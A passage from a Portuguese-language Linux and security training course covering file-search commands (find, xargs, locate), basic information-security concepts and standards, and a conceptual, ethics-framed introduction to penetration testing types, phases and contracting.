mas sim endereços utilizados para a comunicação entre os dispositivos. Cada dispo-
sitivo precisa de um endereço próprio mas, ao contrário dos endereços de IRQ, existe
uma abundância de endereços de I/O disponíveis, de forma que eles raramente são
um problema.
2.3.16 Diretório /sys
1 # ls / sys
Pode-se dizer que esse diretório é um primo do diretório “/proc”. Dentro do diretório
“/sys” podemos encontrar o quase o mesmo conteúdo do “/proc”, mas de uma forma
bem mais organizada para nós administradores.
Esse diretório está presente desde a versão 2.6 do kernel, ele agrupa informações
sobre os dispositivos instalados, incluindo o tipo, fabricante, capacidade, endereços
usados e assim por diante. Estas informações são geradas automaticamente pelo
kernel e permitem que os serviços responsáveis pela detecção de hardware façam
seu trabalho, configurando impressoras e criando ícones no desktop para acesso ao
pendrive, por exemplo.
2.3.17 Diretórios /home e /root
1 # ls / home / root
Os diretórios “/root” e “/home” podem estar disponíveis no sistema, mas não pre-
cisam obrigatoriamente possuir este nome. Por exemplo, o diretório “/home” poderia
se chamar “/casa”, que não causaria nenhum impacto na estrutura do sistema.
O “/home” contém os diretórios pessoais dos usuários cadastrados no sistema.
O “/root” é o diretório pessoal do super usuário “root”.

O “root” é o administrador do sistema, e pode alterar as configurações do sistema,

configurar interfaces de rede, manipular usuários e grupos, alterar a prioridade dos
processos, entre outras. Dica: Utilize uma conta de usuário normal em vez da conta
“root” para operar seu sistema.
Uma razão para evitar usar privilégios “root” regularmente, é a facilidade de

se cometer danos irreparáveis; além do que, você pode ser enganado e rodar um
programa “Cavalo de Tróia” (programa que obtém poderes do super usuário) com-
prometendo a segurança do seu sistema sem que você saiba.
2.3.18 Localização no sistema: find
O comando “find” procura por arquivos/diretórios no disco. Ele pode procurar arqui-
vos pela sua data de modificação, tamanho, etc. O “find”, ao contrário de outros
programas, usa opções longas por meio de um ”-”.
Sintaxe do comando “find”:
find [diretório] [opções/expressão]
• -name [expressão] :
Procura pela [expressão] definida nos nomes de arquivos e diretórios processados.
1 # find / etc - name *. conf
• -maxdepth [num] :
Limita a recursividade de busca na árvore de diretórios. Por exemplo, limitando a 1,

a busca será feita apenas no diretório especificado e não irá incluir nenhum subdire-
tório.
1 # find / etc - maxdepth 1 - name *. conf

• -amin [num] :
Procura por arquivos que foram acessados [num] minutos atrás. Caso seja antece-
dido por “-”, procura por arquivos que foram acessados entre [num] minutos atrás e
o momento atual.
1 # find ~ - amin -5
• -atime [num] :
Procura por arquivos que foram acessados [num] dias atrás. Caso seja antecedido
por “-”, procura por arquivos que foram acessados entre [num] dias atrás e a data
atual.
1 # find ~ - atime -10
• -uid [num] :
Procura por arquivos que pertençam ao usuário com o “uid 1000” [num].
1 # find / - uid 1000
• -user [nome] :
Procura por arquivos que pertençam ao usuário “aluno” [nome].
1 # find / - user aluno
• -perm [modo] :
Procura por arquivos que possuem os modos de permissão [modo]. Os [modo] de

permissão podem ser numérico (octal) ou literal.
1 # find / - perm 644

• -size [num] :
Procura por arquivos que tenham o tamanho [num]. O tamanho é especificado em by-
tes. Você pode usar os sufixos k, M ou G para representar o tamanho em Quilobytes,
Megabytes ou Gigabytes, respectivamente. O valor de [num] Pode ser antecedido de
“+” ou “-” para especificar um arquivo maior ou menor que [num].
1 # find / - size +1 M
-type [tipo] :
Procura por arquivos do [tipo] especificado. Os seguintes tipos são aceitos:
b - bloco; c - caractere; d - diretório; p - pipe; f - arquivo regular; l - “link” simbólico; s

- “socket”.
1 # find / dev - type b
Outros exemplos:
Procura no diretório raiz e nos subdiretórios um arquivo/diretório chamado “grep”

ignorando caso sensitivo:
1 # find / - iname GREP
-iname - ignora case sensitive;
Procura no diretório raiz e nos subdiretórios até o 2º nível, um arquivo/diretório cha-

mado “grep”:
1 # find / - maxdepth 2 - name grep
Procura no diretório atual e nos subdiretórios um arquivo com tamanho maior que
1000 kbytes (1Mbyte).:
1 # find . - size +1000 k

Procura no diretório raiz e nos subdiretórios um arquivo que foi modificado há 10

minutos atrás ou menos:
1 # find / - mmin -10
Procura diretórios a partir do diretório /etc e também executa um comando no resul-

tado da busca com a opção “exec”, no exemplo o comando é “ls -ld”:
1 # find / etc - type d - exec ls - ld {} \;
2.3.19 xargs
Outra forma de procurar por arquivos e/ou diretórios e executar um comando é atra-
vés do comando xargs que obtém como a entrada a saída ok do comando antes do
pipe e envia como stdin do próximo comando, no caso o ls -ld:
1 # find / etc - type d | xargs ls - ld
Vamos agora listar diretórios utilizando o “xargs”:
1 # ls / | xargs - n1
2 # ls / | xargs - n2
3 # ls / | xargs - n3
Outros testes com o “xargs”:
1 # ls / > teste_xargs . txt

2 # cat teste_xargs . txt
3 # cat teste_xargs . txt | xargs -n 2
4 # xargs -n 3 < teste_xargs . txt
Você percebeu que no primeiro comando ele listou o diretório, jogando na tela um
nome de cada vez. O segundo comando fará o mesmo só que com dois nomes na
mesma linha, e o terceiro com 3 nomes.

Tempo de execução de um programa: time
O comando “time” permite medir o tempo de execução de um programa. Sua sintaxe

é: time [programa].
Exemplo:
1 # time find / - name *. conf
Localização usando base de dados: locate
O comando “locate” é um comando rápido de busca de arquivos, porém não usa

busca recursiva na sua árvore de diretórios. Ele utiliza uma base de dados que é
criada pelo comando “updatedb”, para que a busca seja mais rápida. Por padrão, a
atualização da base de dados é agendado no “cron” do sistema para ser executada
diariamente.
Para utilizá-lo, primeiro é necessário criar a sua base de dados usando a seguinte
sintaxe:
1 # uptadedb
Quando esse comando é executado pela primeira vez costuma demorar um pouco.
Isso deve-se a primeira varredura do disco para a criação da primeira base de dados.
Para o comando “locate”, usamos a seguinte sintaxe:
1 # locate howto
A saída do comando será algo parecido com:
1 / usr / share / doc / python2 .4 - xml / howto . cls

2 / usr / share / doc / python2 .4 - xml / xml - howto . tex . gz
3 / usr / share / doc / python2 .4 - xml / xml - howto . txt . gz / usr / share / vim / vim64 /
doc / howto . txt

3 Introdução à Segurança da
Informação
3.1 Objetivos
• Fornecer ao aluno uma visão geral sobre segurança da informação
• Entender a importância da segurança da informação no mundo de hoje
• Conhecer as principais ameaças
• Compreender a terminologia básica utilizada
• Conhecer algumas certificações da área
3.2 O que é segurança?
Segundo o dicionário da Wikipédia, segurança é um substantivo feminino, que sig-

nifica:
• Condição ou estado de estar seguro ou protegido.
• Capacidade de manter seguro.
• Proteção contra a fuga ou escape.
• Profissional ou serviço responsável pela guarda e proteção de algo.
• Confiança em si mesmo.
Linux Force – www.linuxforce.com.br Introdução à Segurança da Informação
Dentro do escopo com relação ao que iremos estudar, os três primeiros tópicos
adequam-se perfeitamente ao que será abordado ao longo do curso. No entanto,
veremos esses aspectos na visão do atacante, aquele que tem por objetivo justa-
mente subverter a segurança.
E o que queremos proteger?
Vamos analisar o contexto atual em primeiro lugar...
Na época em que os nobres viviam em castelos e possuíam feudos, com mão de

obra que trabalhavam por eles, entregando-lhes a maior parte de sua produção e
ainda pagavam extorsivos importos, qual era o maior bem que possuíam? Terras!
Isso mesmo, quem tinha maior número de terras era mais poderoso e possuía mais
riqueza. Posto que quanto mais terras, maior a produção recebida das mãos dos
camponeses que arrendavam as terras de seu suserano.
Após alguns séculos, com o surgimento da Revolução Industrial, esse panorama

muda completamente... Os camponeses deixam os campos e passam a trabalhar
nas fábricas, transformando-se em operários.
Quem nunca viu o filme “Tempos Modernos” de Chaplin? Chaplin ilustra muito bem
como era a rotina desses operários.
Nessa fase da história da civilização, o maior ativo é a mão de obra, juntamente com
o capital. Quem tinha o maior número de operários, trabalhando “incansavelmente”,
detinha o poder, pois possuía maior capital, gerado pela produção incessante das
indústrias.
No entanto, como tudo o que é cíclico e está em constante mudança, o cenário

mundial novamente se altera, inicialmente com o movimento iluminista.
O Iluminismo, a partir do século XVIII, permeando a Revolução Industrial, prepara o

terreno para a mudança de paradigma que está por vir. Os grandes intelectuais desse
movimento tinham como ideal a extensão dos princípios do conhecimento crítico a
todos os campos do mundo humano. Supunham poder contribuir para o progresso da
humanidade e para a superação dos resíduos de tirania e superstição que creditavam
ao legado da Idade Média. A maior parte dos iluministas associava ainda o ideal de
conhecimento crítico à tarefa do melhoramento do estado e da sociedade.
E com isso, começamos a ver, através de uma grande mudança de paradigma, que
a detenção de informações ou conhecimentos, que tinham algum valor, é que define
quem tem o poder nas mãos ou não. E surge, então, a era da informação!

Com esse acontecimento, inicia-se o surgimento da internet e a globalização, possi-

bilitando o compartilhamento em massa da informação. Nesse momento não é mais
a mão de obra, terras, máquinas ou capital que regem a economia e dita quem tem
o poder, mas sim a informação, que se torna o principal ativo dessa era.
Estamos na era da informação, e nada mais lógico que um corpo de conhecimento

fosse criado para dar a devida atenção às anomalias e proteger esse ativo tão im-
portante. Essa área de atuação, que já existia há muito anos, mas agora com tarefas
bem mais definidas, com regras e normas a serem seguidas é a Segurança da In-
formação, ou SI.
3.3 Segurança da Informação
A Segurança da Informação tem como principal objetivo, justamente, proteger as

informações, que são os principais ativos atualmente, que sejam importantes para
uma organização ou indivíduo.
Entendendo esse conceito, não é suficiente apenas conhecer as normas existentes

e as várias formas possíveis de proteção, mas é necessário também conhecer os
riscos inerentes e as possíveis formas de ataque.
De acordo com o maior estrategista que já existiu, Sun Tzu, se você conhece a si
mesmo e ao seu inimigo, não precisará temer o resultado de mil batalhas. Afinal, se
conhece os estratagemas empregados por atacantes maliciosos, estará muito mais
capacitado para proteger seu principal ativo: a informação.
3.4 Padrões/Normas
3.4.1 ISO 27001
Essa norma aborda os padrões para sistemas de gestão de segurança da informa-

ção. Substitui a norma BS 7799-2

3.4.2 ISO 27002
Baseada na norma ISO 27001, essa norma trata das boas práticas de segurança
da informação, onde indica uma série de possíveis controles dentro de cada con-
texto da área de segurança. A partir de 2006, tornou-se substituta da norma ISO
17799:2005.
3.4.3 Basileia II
É uma norma da área financeira, conhecida também como Acordo de Capital de

Basileia II. Essa norma fixa-se em três pilares e 25 princípios básicos sobre contabi-
lidade e supervisão bancária.
3.4.4 PCI-DSS
A norma Payment Card Industry Data Security Standard, é uma padronização inter-
nacional da área de segurança de informação definida pelo Payment Card Industry
Security Standards Council. Essa norma foi criada para auxiliar as organizações que
processam pagamentos por cartão de crédito na prevenção de fraudes, através de
maior controle dos dados e sua exposição.
3.4.5 ITIL
É um conjunto de boas práticas para gestão, operação e manutenção de serviços de

TI, aplicados na infraestrutura. A ITIL busca promover a gestão de TI com foco no
cliente no serviço, apresentando um conjunto abrangente de processos e procedi-
mentos gerenciais, organizados em disciplinas, com os quais uma organização pode
fazer sua gestão tática e operacional em vista de alcançar o alinhamento estratégico
com os negócios.
3.4.6 COBIT
Do inglês, Control Objectives for Information and related Technology, é um guia

de boas práticas, como um framework, voltadas para a gestão de TI. Inclui, em sua

estrutura de práticas, um framework, controle de objetivos, mapas de auditoria, fer-

ramentas para a sua implementação e um guia com técnicas de gerenciamento.
3.4.7 NIST 800 Series
Série de documentos, guias e pesquisas desenvolvidos pelo National Institute of

Standards and Technology, voltadas para a área de segurança da informação. Essa
série é composta de documentos considerados "Special Publications", os quais abor-
dam desde segurança na tecnologia Bluetooth, até segurança em servidores.
Dica: o documento desta série que é equivalente ao que estamos estudando

ao longo desse curso, que pode inclusive representar uma metodologia específica, é
o NIST 800-115.
3.5 Por que precisamos de segurança?
• Evolução da tecnologia focando a facilidade de uso
Quanto mais a tecnologia evolui, mais fácil torna-se a operação dos novos sis-
temas e ferramentas. Já vai ao longe o tempo em que era necessário gravar
de cabeça 500 comandos diferentes para utilizar o computador para as tarefas
mais costumeiras e simples do dia a dia. Hoje em dia tudo está ao alcance de
um clique do mouse, e quando não, de um movimento de cabeça, se pensar-
mos nos sistemas de captura de movimentos.
• Aumento do uso de redes e interligação das aplicações
Tudo está conectado atualmente! E quando uma máquina ou sistema é com-

prometido, tudo o que está ao seu redor corre o risco de ser comprometido
também. Isso demanda uma maior capacidade de gerenciamento do parque
computacional, que cresce exponencialmente e muitas vezes de forma desor-
denada.
• Diminuição do nível de conhecimento para a execução de um ataque avançado

Com a facilidade de uso aumentando gradativamente, a necessidade de co-

nhecimento de alto nível para realizar ataques avançados também diminui. Se
um adolescente de 12 anos procurar na internet sobre ataques de negação
de serviço, por exemplo, encontrará ferramentas de simples utilização e pode
facilmente derrubar um grande servidor.
• Aumento da complexidade para administração de infraestrutura de computado-

res e gerenciamento.
Quanto maior o parque computacional, mais difícil se torna seu gerenciamento,

e disso surgem inúmeros problemas graves, de consequências desastrosas.
Com o aumento da complexidade da infraestrutura e, consequentemente, da

sobrecarga dos administradores de rede, torna-se cada vez mais difícil geren-
ciar tudo o que ocorre e monitorar satisfatoriamente o funcionamento da infra-
estrutura organizacional.
3.6 Princípios básicos da segurança da informação
A área de SI possui três pilares básicos com o acréscimo de mais duas, que permitem
a troca segura de informação, desde que nenhum deles seja violado. São eles:
3.6.1 Confidencialidade
Esse pilar é o responsável pelo controle de acesso à informação apenas por aquelas
pessoas ou entidade que tenham permissão compatível com sua função e determi-
nada pelo dono daquela informação.
3.6.2 Integridade
Aqui, através dessa propriedade, é determinada a necessidade de garantir que a in-

formação mantenha todas as suas características originais como determinadas pelo
proprietário da informação.

3.6.3 Disponibilidade
Propriedade que define que determinada informação esteja sempre disponível para
o acesso quando necessário, de maneia íntegra e fidedigna. Alguns dos ataques
conhecidos buscam justamente derrubar a disponibilidade, e para algumas empresas
o simples fato de não ter suas informações disponíveis durante determinado período
de tempo, isso pode acarretar prejuízos estrondosos.
3.6.4 Autenticidade
Propriedade responsável por garantir que a informação vem da origem informada,

permitindo a comunicação segura e garantia de que a informação a qual tem acesso
é correta e de fonte confiável.
3.6.5 Legalidade
É a propriedade que define se determinada informação, ou operação, está de acordo

com as leis vigentes no país. As mesmas leis que regem um país podem ser com-
pletamente diferentes em outro, o que pode ocasionar uma série de problemas, caso
o sistema de gestão não seja adaptável.
Podemos ver na figura a seguir alguns dos distúrbios mais comuns aos pilares da SI,
vinculados a ataques que visam à área de TI:

O nível de segurança desejado, pode se consubstanciar em uma política de segu-

rança que é seguida pela organização ou pessoa, para garantir que uma vez estabe-
lecidos os princípios, aquele nível desejado seja perseguido e mantido.
É de extrema importância saber equilibrar o nível de segurança com a funcionalidade

e facilidade de uso do sistema, pois o mais importante para a empresa é o negócio,
e a segurança existe para proteger o negócio da empresa, e não atrapalhá-lo.
3.6.6 Terminologias de segurança
• Vulnerabilidade – fragilidade que pode fornecer uma porta de entrada a um

atacante
• Ameaça – agente ou ação que se aproveita de uma vulnerabilidade
• Risco – (Impacto X Probabilidade) da ameaça ocorrer
• Ataque – Incidência da ameaça sobre a vulnerabilidade
• Exploit – Programa capaz de explorar uma vulnerabilidade
3.7 Ameaças e ataques
Em segurança da informação, precisamos estar atentos às possíveis ameaças que

podem, de alguma maneira, comprometer os pilares de SI. A partir das ameaças,
podemos ter noção dos riscos que envolvem a atividade organizacional. Para cada
tipo de atividade, ou contexto, o conjunto de ameaças será diferente, requerendo
também reações e posturas diferentes para diminuí-las.
Vamos separar as ameaças em dois grandes grupos: físicas e lógicas.
As ameaças físicas, caso ocorram, comprometerão o ambiente físico onde a infor-

mação está armazenada ou processada.
Dentre as ameaças físicas podemos considerar:
• Alagamento

• Raios
• Acessos indevidos
• Desabamentos
E no grupo das ameaças lógicas, podemos contar as seguintes:
• Infecção por vírus
• Acessos remotos à rede
• Violação de senhas
Assim como dividimos as ameaças em dois grandes grupos, os ataques também

podem ser divididos da mesma maneira: Internos e Externos.
Os ataques internos representam por volta de 70aos sistemas e redes. Mesmo que
a maioria das pessoas acreditem que a maior parte dos ataques surjam de fontes
externas, essa é uma maneira errônea de encarar as coisas.
Dentre os ataques internos, encontramos em sua maioria, aqueles realizados por

funcionários de dentro da própria organização, que estão insatisfeitos, buscam vin-
gança ou participam de alguma ação de espionagem industrial, vendendo as infor-
mações conseguidas para o concorrente.
Outro tipo de ataque vindo de “insiders”, surge de funcionários despreparados, que

sem o devido conhecimento do funcionamento do sistema, ou das políticas orga-
nizacionais, age de maneira errônea, causando o comprometimento do sistema da
empresa.
Quando vamos analisar os ataques externos, novamente nos deparamos com a pos-
sibilidade de comprometimentos cujos objetivos estejam vinculados à espionagem
industrial, que apesar de ser ilegal, muitas organizações recorrem a esse expediente
para não ficar para trás, na luta pelo domínio de mercado.
Outra possibilidade da origem de comprometimentos de sistemas, pode ser a curio-

sidade ou simplesmente o desafio que representa para um cracker, cujo objetivo de
comprometer o sistema, seja basicamente isso: comprometer o sistema e poder di-
zer que foi ele quem fez isso. Ou então, o furto de dados que de alguma forma sejam
úteis para o cracker. Bons exemplos desse tipo de ataques, podem ser encontrados
no livro “A Arte de Invadir”, de autoria de Kevin Mitnick.

• Exemplo de ameaça:
“Uma chuva de granizo em alta velocidade”
• Exemplo de vulnerabilidade:
“Uma sala de equipamentos com janelas de vidro”
• Exemplo de ataque:
“A chuva de granizo contra as janelas de vidro”
O risco será calculado considerando a probabilidade de uma chuva de granizo em

alta velocidade ocorrer e atingir a janela de vidro.
3.8 Mecanismos de segurança
Para mitigar ou diminuir sensivelmente as ameaças, podemos empregar uma série

de dispositivos e mecanismos de segurança, sejam as ameaças físicas ou lógicas.
Para cada contexto, temos grupos diferentes de mecanismos que podem ser utiliza-
dos.
3.8.1 Mecanismos físicos
• Portas
• Trancas
• Paredes
• Blindagem
• Guardas
• Câmeras
• Sistemas de alarme

• Sistema de detecção de movimentos
• Biometria
Os mecanismos físicos de proteção, são barreiras que limitam o contacto ou acesso

direto a informação ou a infra-estrutura (que garante a existência da informação) que
a suporta.
3.8.2 Mecanismos lógicos
• Criptografia
• Firewall
• Anti-Vírus
• IDS
• IPS
• Proxy
• Anti-Spam
Os mecanismos lógicos, são barreiras que impedem ou limitam o acesso a informa-

ção, que está em ambiente controlado, geralmente eletrônico, e que, de outro modo,
ficaria exposta a alteração não autorizada por elemento mal intencionado.
3.9 Serviços de segurança
Existe hoje em dia um elevado número de ferramentas e sistemas que pretendem

fornecer segurança. Alguns exemplos são os detectores de intrusões, os antivírus,
firewalls, firewalls locais, filtros anti-spam, fuzzers, analisadores de código, etc.
Além de dispositivos de segurança, também existem diversos serviços relacionados

a segurança da informação.

Esses serviços precisam de profissionais com um conhecimento altamente especiali-

zado, primeiro por lidar com análises complexas, e segundo por envolver informações
sigilosas que precisam de tratamento especial, para que não sejam comprometidas
de alguma maneira.
Dentre os serviços oferecidos por profissionais de segurança estão:
• Criação de Políticas de Segurança
• Implantação de CSIRTs
• Hardening de Servidores
• Análise de Vulnerabilidade
• Teste de Invasão
• Análise de Aplicação
• Perícia Computacional
• Treinamento de Colaboradores
• Auditoria
3.10 Certificações
Na área de segurança, há muitas certificações reconhecidas pelo mercado.
Sendo que cada ma delas possui um foco diferente, nível de conhecimento diferente
e formas de avaliações diversas.
Abaixo listamos as principais certificações da área de SI:
• CompTIA
Security+
• Cisco Systems

CCNA Security • CCSP • CCIE Security
• EC-Council
CEH • CHFI • ECSA • ENSA • LPT
• GIAC
GSIF • GSEC • GCIA • GCFW • GCFA • GCIH • GPEN • GCUX • GCWN •

GWAPT • GAWN • GREM • GSE
• ISACA
CISA • CISM
• ISECOM
OPSA • OPST
• Offensive Security
OSCP • OSCE
Dentro do conteúdo estudado e de acordo com o contexto que estamos estudando,

algumas certificações possuem em sua avaliação muito dos assuntos abordados em
aula. Podemos citar, dentre essas, as certificações:
• CEH, ECSA, LPT, OPSA, OSCP, GPEN

4 Introdução ao Teste de Invasão e
Ética Hacker
4.1 Objetivos
• Fornecer ao aluno uma visão geral sobre testes de invasão
• Entender a anatomia e os tipos diferentes de ataques
• Conhecer as fases de um teste de invasão
• Conhecer as metodologias e os aspectos legais
4.2 Visão geral sobre o Pentest
O Teste de Intrusão é um processo de análise detalhada do nível de segurança de um

sistema ou rede usando a perspectiva de um infrator. Trata-se de um teste realista
ao nível de segurança das infra-estruturas e da informação que estas detêm.
No Teste de Intrusão são testadas vulnerabilidades técnicas e conceituais das infra-

estruturas alvo.
O objetivo principal é simular de forma controlada um ataque real que normalmente

é executado por criminosos. Desta maneira é possível ter o conhecimento total do
que poderia acontecer caso esse ataque realmente existisse, garantindo assim a
possibilidade de uma estratégia de prevenção.
Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker
4.3 Tipos de Pentest
4.3.1 Blind
Nessa modalidade o auditor não conhece nada sobre o alvo que irá atacar, porém o
alvo sabe que será atacado e o que será feito durante o teste.
O grande risco desse tipo de teste, é que o alvo pode avisar a equipe de TI e decidi-
rem fazer atualização do sistema, aplicar patchs de correção e segurança. Esse tipo
de pentest é interessante para ter conhecimento de como e quais informações sobre
a organização e sua infraestrutura é possível de um atacante ter acesso.
4.3.2 Double blind
Nessa modalidade o auditor não conhece nada sobre o alvo, e o alvo não sabe que
será atacado e tão pouco sabe quais testes o auditor irá realizar.
É o método de pen test mais realista possível, aproximando-se de um ataque real,

pois ambas as parte, auditor e alvo, não sabem com o que irão se deparar.
Afinal, em um ambiente real, o atacante não sabe nada inicialmente sobre seu alvo,
e o alvo nunca saberá qual tipo de ataque um cracker pode realizar contra sua infra-
estrutura.
4.3.3 Gray Box
Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que
será atacado e também sabe quais testes serão realizados.
Aproxima-se de um teste onde é simulado o ataque de dentro de um ambiente com-

pletamente monitorado e controlado.

4.3.4 Double Gray Box
Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que
será atacado, porém, não sabe quais testes serão executados.
Esse é o melhor método para simular um ataque partindo de um funcionário insatis-

feito, que possui privilégios de usuário, por exemplo, e procura realizar escalada de
privilégios para ter acesso às informações que seu nível ou grupo não possui.
4.3.5 Tandem
Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que
será atacado e o que será feito durante o ataque. Também conhecido como “caixa
de cristal”.
Esse tipo de pen test é bem próximo de uma auditoria, pois ambos estão preparados
e sabem o que vai ser realizado. É o ideal para ser feito periodicamente, monitorando
as vulnerabilidades novas e mudanças feitas na infraestrutura.
4.3.6 Reversal
Nessa modalidade o auditor tem conhecimento total do alvo, porém o alvo não sabe
que será atacado, e tão pouco sabe quais testes serão executados.
Esse formato de teste é ideal para testar a capacidade de resposta e como está o
timing de ação da equipe de resposta a incidentes do alvo.
4.4 As fases de um ataque
Um ataque, ou teste de invasão, é composto por uma série de fases, onde em cada
uma determinadas operações são realizadas.
O que vai definir a diferença de um teste de invasão e um ataque realizado por um

cracker, são justamente a intenção, o escopo e o espaço de tempo disponível para o
mesmo.

As fases básicas de um ataque são explicadas a seguir.
4.4.1 Levantamento de Informações
Essa é a fase mais importante de um ataque e de um teste de invasão.
Baseado no que é descoberto nessa fase, todo o planejamento é realizado e os veto-

res de ataque definidos. Essa fase prossegue na fase seguinte, onde as informações
iniciais são extendidas, de forma mais detalhada.
Podemos dizer que essa é a fase abrangente, e a fase seguinte detalha as informa-
ções adquiridas nessa primeira fase.
Qualquer informação que seja vinculado ao alvo é considerada de valor nesse pri-
meiro passo:
• Concorrentes
• Nome de funcionários
• Endereços
• Telefones
• Sites
• Empresas
• Comunidades sociais
• Empresas do mesmo grupo e etc.
4.4.2 Varredura
Nessa fase o atacante busca informações mais detalhadas o alvo, que posam per-
mitir definir seus vetores de ataque e enxergar as possibilidades que podem permitir
ganhar acesso ao sistema, através da exploração de alguma falha encontrada.

Aqui buscamos informações que respondam algumas perguntas, como por exem-
plo:
• Qual sistema operacional o alvo utiliza?
• Quais os serviços estão sendo executados no alvo?
• Quais serviços estão disponíveis para acesso?
• Qual a versão de cada serviço sendo executado?
• Há IDS/IPS na rede?
• Há honeypots na rede?
• Há firewalls na rede?
• Existe uma rede interna e outra externa, como uma DMZ?
• Há serviços com acesso público rodando em alguma máquina?
• Há algum software malicioso já sendo executado em alguma máquina?
A partir dessas informações, o atacante pode buscar maiores detalhes na internet ou

fóruns especializados em busca de exploits que permitam explorar falhas existentes
nas versões dos serviços sendo executados.
4.4.3 Ganhando acesso
Aqui o atacante coloca em prática tudo aquilo que planejou a partir das informações
obtidas previamente.
Dependendo de seus vetores de ataque, ele pode realizar uma série de ataques
buscando ganhar acesso ao sistema alvo, como por exemplo:
• Ataques de força bruta local
• Ataques de força bruta remoto
• Captura de tráfego de rede

• Ataque de engenharia social
• Ataques às aplicações WEB
• Exploração de serviços
• Exploração de sistema operacional
Conseguindo acesso ao sistema, o atacante realizará uma série de operações bus-

cando a elevação de seus privilégios caso o mesmo já não seja de root.
4.4.4 Mantendo acesso
Após conseguir o acesso, o atacante busca, de alguma forma, manter o acesso

conseguido através de seus ataques. Isso normalmente não é utilizado por um pen
tester, a não ser que seja extremamente necessário.
O risco de configurar o sistema, implantando backdoors ou outro tipo de dispositivo

que permita o acesso posterior, é que a ferramenta utilizada pode voltar- se contra
você, pois outras pessoas podem descobri-la, explorá-la e ganhar acesso facilmente
ao sistema comprometido.
Portanto, essa fase, quando realizada durante um teste de invasão, precisa de ex-
tremo cuidado e planejamento para não trazer comprometimentos e prejuízos des-
necessários ao alvo.
4.4.5 Limpando rastros
Nessa fase final do ataque, o atacante apaga todos os seus rastros, todos os regis-
tros de operações realizadas dentro do sistema comprometido.
Como o pen tester tem autorização para realizar os testes, não é necessário apa-
gar rastros. Isso se torna importante para um pen tester, apenas se quiser testar,
também, a capacidade da equipe de perícia forense e respostas a incidentes de
descobrir o que foi feito e recuperar informações alteradas.

4.5 Categorias de ataques
Há vários tipos de ataque possíveis de serem realizados. Podemos dividir tais ata-
ques em dois grandes grupos:
4.5.1 Server Side Attacks
Server Side Attack ou ataque ao servidor foca na tentativa de explorar serviços que
estão em execução em um determinado dispositivo. Normalmente não precisam de
interação do usuário e provê uma Shell remota para o atacante.
São exemplos de ataques a servidores:
• Ataques a servidores WEB
• Ataques a servidores de e-mail
• Ataques a servidores DNS
• Ataques a serviços RPC
4.5.2 Client Side Attacks
Client Side Attacks ou ataques ao cliente foca na tentativa de explorar aplicações que
são executadas no computador e que normalmente precisam de uma interação da
pessoa para que o ataque seja executado.
São exemplos de ataques ao cliente:
• Exploração de falhas no Internet Explorer
• Exploração de falhas em editores de texto
• Exploração de falhas em Clientes de E-mail
• Exploração de falhas em programas reprodutores de vídeo

Nesses casos, o cliente precisa visitar um site, ou abrir um e-mail, ou então abrir um
arquivo que explorará a aplicação que está instalada no computador do cliente.
Packs como Mpack e IcePack exploram vulnerabilidades em navegadores webs, ou

seja, realizam um client side attack.
4.6 Metodologias existentes
Para um teste de invasão não ficar “solto” e sem uma sequência lógica coerente,
a comunidade de segurança, através de alguns órgãos, associações, institutos e
pesquisadores, criou uma série de metodologias para servirem como guias básicos
para a correta realização de testes de invasão.
Isso permite uma certa padronização nos testes realizados seguindo uma outra me-
todologia.
Podemos citar internacionalmente:
• OSSTMM
• OWASP Testing Guide
• NIST SP800-115 e SP800-42
• ISSAF
• PenTest Frameworks
Nosso treinamento foi feito baseado na metodologia OSSTMM (Open Source Secu-
rity Testing Methodology Manual), e nessa metodologia as premissas para realizar
um teste são:
• O teste dever ser conduzido exaustivamente
• O teste deve contemplar todos os itens necessários
• O escopo do teste não deve ferir os direitos humanos básicos
• Os resultados devem ser quantificáveis

• Os resultados devem ser consistentes
• Os resultados devem conter apenas o que foi obtido com os testes
Essas são as premissas de um teste de intrusão. Ainda em acordo com a OSSTMM,

o resultado final deve conter os seguintes tópicos:
• Data e hora dos testes
• Tempo de duração dos testes
• Analistas e pessoas envolvidas
• Tipo do teste
• Escopo do teste
• O resultado da enumeração
• Margens de erro
• Qualificação do risco
• Qualquer tipo de erro ou anomalia desconhecida
Dica: a metodologia OSSTMM é voltada mais para testes em sistemas e infra-

estrutura, apesar de também contemplar testes em aplicações WEB. A metodologia
desenvolvida pelo OWASP, já é específica para testes de invasão em aplicações
WEB.
4.7 Como conduzir um teste de invasão
Alguns passos básicos são necessários para a preparação e realização de um teste

de invasão, para que o mesmo seja bem sucedido. Dentre esses passos, ou fases,
podemos destacar os seguintes:
Passo 1: Converse com seu cliente sobre as necessidades do teste; Esse é um

dos passos mais importantes, pois não podemos deixar que existam “zonas cinza”

no que foi contratado e acertado, entre o cliente e o pen tester. Aqui definimos tudo,
desde o escopo, ao tipo de teste que será realizado. Aqui também é definido o que
é permitido e o que não é permitido realizar durante o teste.
Passo 2: Prepare o contrato de serviço e peça ao cliente para assiná- los;
Depois de tudo definido no primeiro passo, é feito um contrato de prestação de ser-

viço, onde está descrito o que será realizado (escopo, horários, equipe de profissio-
nais, permissões, etc) e assinado por contratado e contratante.
Além de um contrato de prestação de serviço, é de grande importância a assinatura

de um NDA (non disclosure agreement), que define que as informações que a equipe
do teste de invasão terá acesso, não serão revelados ou divulgados, excetuando-se
à pessoa que assinou o contrato de prestação de serviço.
Passo 3: Prepare um time de profissionais e agende o teste;
Aqui reunimos os profissionais que participarão dos testes e lhes passamos todas as
informações pertinentes ao que será realizado.
A partir da formação da equipe e definição de papéis para cada profissional, pode-

mos agendar o teste com o cliente e iniciar o planejamento do mesmo com a equipe
em conjunto.
Passo 4: Realize o teste; Nesse passo é onde o teste é efetivamente executado.

Lembrando sempre de seguir o que foi acordado com o cliente e respeitar as cláusu-
las do contrato e NDA assinados.
Passo 5: Analise os resultados e prepare um relatório; Todas as informações

coletadas, resultados obtidos e ocorrências durante a realização do teste são poste-
riormente reunidas e analisadas. Os resultados dessas análises são colocados em
um relatório, contextualizados, e é feita a descrição, explicação e possível solução
para cada falha encontrada e explorada.
Passo 6: Entregue o relatório ao cliente.
O relatório pós-teste, é entregue APENAS para a pessoa responsável pela contrata-

ção do teste de invasão, ou definida em contrato.
Como as informações contidas em tal relatório são extremamente sensíveis, deve-se

tomar o máximo cuidado possível para que o mesmo não caia nas mãos de pessoas
sem autorização para ter acesso ao mesmo. O ideal é que a equipe não guarde nem
mesmo uma cópia do relatório, e isso deve ser definido no NDA e no contrato de
serviço.

